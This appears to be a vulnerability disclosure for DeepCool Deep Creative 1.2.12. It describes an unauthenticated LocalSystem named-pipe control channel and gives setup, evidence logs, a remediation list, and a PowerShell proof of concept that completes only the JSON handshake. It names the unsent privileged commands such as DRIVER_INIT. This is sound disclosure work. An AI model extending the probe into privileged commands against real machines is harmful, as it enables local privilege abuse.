DeepCool 1.2.12 DisplayService Exposes an Unauthenticated LocalSystem Named-Pipe Control Channel

Summary

DeepCool Deep Creative 1.2.12 installs `DeepCoolDisplayService.exe`, a service component intended to run as `LocalSystem`. In a live validation, a standard local user at Medium Integrity could not control the service through the Windows Service Control Manager. The same user could nevertheless connect to the service's named-pipe control channel, complete the JSON handshake, and receive a per-session data pipe name from the LocalSystem service.

The safe reproduction below stops after the handshake. No driver initialization, virtual display creation, display removal, reboot, shutdown, or other display-state change was performed.

Affected Product and Version

- Product: DeepCool Deep Creative
- Product version: `1.2.12`
- Service binary: `DeepCoolDisplayService.exe`
- Service account during validation: `LocalSystem`
- Observed control pipe: `\\.\pipe\DeepCool_display_server`
- Returned data-pipe pattern: `\\.\pipe\display_data<decimal suffix>`

Download URL and SHA-256

- Download URL: `https://deepcool.io/downloads/DeepCool-1.2.12-setup.exe`
- File name: `DeepCool-1.2.12-setup.exe`
- SHA-256: `4549885C716E951DDE488E2117823478F7994C475E686331F93866582F6B116F`
- Installer signature: `Valid`
- Installer signer: `Beijing Deepcool SCI-TECH Co., Ltd.`

Service binary:

```
Path: C:\DeepCool\resources\service\x64\DeepCoolDisplayService.exe
SHA-256: 57262AC9AE6BCABE77F3A78BD59824453615FF226690E5B830B73134B764087C
Signature: Valid
Signer: Beijing Deepcool SCI-TECH Co., Ltd.
```

Vulnerability Type

Unauthenticated local IPC access to a privileged service. The service exposes a LocalSystem JSON command channel over a named pipe reachable by a standard local user.

Impact

The confirmed dynamic proof is unauthorized low-privileged reachability to a LocalSystem service control channel. Static analysis of the same service binary showed that, after this handshake, the service dispatches JSON command types including driver initialization/uninitialization and virtual monitor management. Those state-changing commands were intentionally not executed in this validation.

This should be treated as a local privilege-boundary issue because the service accepts IPC from a standard user before enforcing an administrator-only caller policy. Depending on runtime command selection, the exposed command surface can allow a low-privileged user to trigger privileged display-driver setup/teardown and virtual display state changes.

Test Environment

```
Host: WIN-R10EKFCBLSE
OS: Windows Server 2025 Datacenter Evaluation, 64-bit
OS version: 10.0.26100
Setup user: local Administrator
Attacker user: WIN-R10EKFCBLSE\low
Attacker integrity: Medium
```

Setup Steps

The official installer was downloaded directly from DeepCool and launched with no-restart options:

```
DeepCool-1.2.12-setup.exe /S /NORESTART
```

In this lab, the silent installer laid down `C:\DeepCool\resources\service\x64\DeepCoolDisplayService.exe` but did not exit within the ten-minute automation timeout. The installer process was stopped; no reboot or shutdown occurred. The service binary was then registered manually for validation as a temporary demand-start LocalSystem service:

```
sc.exe create DeepCoolDisplayService type= own start= demand obj= LocalSystem binPath=
"C:\DeepCool\resources\service\x64\DeepCoolDisplayService.exe"
sc.exe start DeepCoolDisplayService
sc.exe query DeepCoolDisplayService
sc.exe qc DeepCoolDisplayService
```

Service configuration:

```
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: DeepCoolDisplayService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\DeepCool\resources\service\x64\DeepCoolDisplayService.exe
        DISPLAY_NAME       : DeepCoolDisplayService
        SERVICE_START_NAME : LocalSystem
```

Service runtime state:

```
SERVICE_NAME: DeepCoolDisplayService
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                             (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
```

Reproduction Steps

1. Install DeepCool Deep Creative 1.2.12 from the official URL above.
2. Ensure `DeepCoolDisplayService.exe` is running as `LocalSystem`.
3. Log in or spawn a shell as a standard local user.
4. As that standard user, verify the user is not elevated:

```
whoami /all
```

5. As that same standard user, attempt direct service control:

```
sc.exe stop DeepCoolDisplayService
```

6. As that same standard user, run the safe pipe probe. The probe sends only:

```
{"type":"SERVER_HELLO"}
{"type":"SETUP_DATA_CHANNEL"}
```

It does not send `DRIVER_INIT`, monitor creation, monitor removal, or any other state-changing command.

Baseline Evidence

The attacker user was a standard local user at Medium Integrity:

```
USER INFORMATION
----------------

User Name          SID
================== ============================================
win-r10ekfcblse\low S-1-5-21-3216720306-2916786533-1985372423-1000

GROUP INFORMATION
-----------------

Group Name                           Type           SID        Attributes
==================================== ================ ============
```

```
================================================
Everyone                          Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                     Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users  Well-known group S-1-5-11     Mandatory group, Enabled by default,
Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

The service was running, but direct standard-user service control failed:

```
=== sc query DeepCoolDisplayService ===

SERVICE_NAME: DeepCoolDisplayService
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                             (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)

=== direct SCM stop attempt from standard user ===
[SC] OpenService FAILED 5:

Access is denied.

sc stop exit code: 5
```

Exploit Evidence

The same standard Medium Integrity user connected to the LocalSystem service's pipe and completed the JSON handshake:

```
=== safe pipe probe ===
[IDENTITY]

USER INFORMATION
----------------

User Name           SID
=================== ============================================
win-r10ekfcblse\low S-1-5-21-3216720306-2916786533-1985372423-1000

GROUP INFORMATION
-----------------

Group Name                           Type            SID         Attributes
==================================== ================ ============
================================================
BUILTIN\Users                        Alias           S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

[-] Could not connect to \\.\pipe\display_data: The operation has timed out.
[+] Connected to \\.\pipe\DeepCool_display_server
[>] {"type":"SERVER_HELLO"}
[<] {"payload":{"ServerVersion":"1.0.1"},"seq":0,"type":"CLIENT_HELLO"}
[>] {"type":"SETUP_DATA_CHANNEL"}
[<]
{"payload":{"DataPipeName":"\\\\.\\pipe\\display_data1778318999"},"seq":1,"type":"DATA_CHANNEL_READY"}
[+] DataPipeName: \\.\pipe\display_data1778318999
[+] Probe complete. No state-changing command was sent.
pipe probe exit code: 0
```

Why This Proves the Vulnerability

The baseline establishes that the caller is a standard user at Medium Integrity and cannot directly administer the LocalSystem service through SCM. The exploit evidence shows that the same user can still connect to the service's named-pipe control channel and receive a data pipe from the service.

That is the security boundary violation: the service exposes privileged control-plane IPC to a non-admin caller before enforcing an authorization check. A properly protected LocalSystem service should restrict state-changing control channels to SYSTEM, Administrators, or an authenticated per-session broker that verifies the caller before returning a command channel.

Cleanup Steps

The validation stopped and deleted the temporary service, ran the DeepCool uninstaller, then removed only the test-installed DeepCool directories:

```
sc.exe stop DeepCoolDisplayService
sc.exe delete DeepCoolDisplayService
C:\DeepCool\Uninstall DeepCool.exe /allusers /S
```

Cleanup result:

```
Uninstaller exit code: 0
Manual cleanup deleting test-installed path: C:\DeepCool
Manual cleanup deleting test-installed path: C:\Users\Administrator\AppData\Local\deepcool-updater

Final service query:
[SC] EnumQueryServicesStatus:OpenService FAILED 1060:

The specified service does not exist as an installed service.

Final C:\DeepCool exists after cleanup: False
deepcool-updater exists after cleanup: False
```

Suggested Remediation

- Create named pipes with explicit security descriptors that grant access only to SYSTEM and Administrators unless a command is intentionally user-accessible.
- Impersonate the pipe client and enforce an administrator or trusted UI-broker check before returning a data pipe.
- Require an authenticated per-session broker token for UI-to-service requests.
- Split harmless status queries from state-changing driver and display-management commands.
- Log command requests with the authenticated caller SID and reject unauthenticated local users by default.

POC

The following PowerShell client performs only the safe handshake used in the evidence above:

```
$pipeName = 'DeepCool_display_server'
$client = [System.IO.Pipes.NamedPipeClientStream]::new(
    '.',
    $pipeName,
    [System.IO.Pipes.PipeDirection]::InOut,
    [System.IO.Pipes.PipeOptions]::None
)
$client.Connect(3000)
$client.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message
$enc = [System.Text.Encoding]::UTF8

function Send-Json($s) {
    $bytes = $enc.GetBytes($s)
    $client.Write($bytes, 0, $bytes.Length)
    $client.Flush()
    "[>] $s"
}

function Read-Json {
    $buf = New-Object byte[] 16384
    $ms = [System.IO.MemoryStream]::new()
    do {
        $n = $client.Read($buf, 0, $buf.Length)
        if ($n -gt 0) { $ms.Write($buf, 0, $n) }
    } while (-not $client.IsMessageComplete)
    $enc.GetString($ms.ToArray())
}

Send-Json '{"type":"SERVER_HELLO"}'
"[<] $(Read-Json)"
Send-Json '{"type":"SETUP_DATA_CHANNEL"}'
"[<] $(Read-Json)"
$client.Dispose()
```

Revision #1
Created 25 May 2026 17:55:00 by winslow

Updated 25 May 2026 17:57:21 by winslow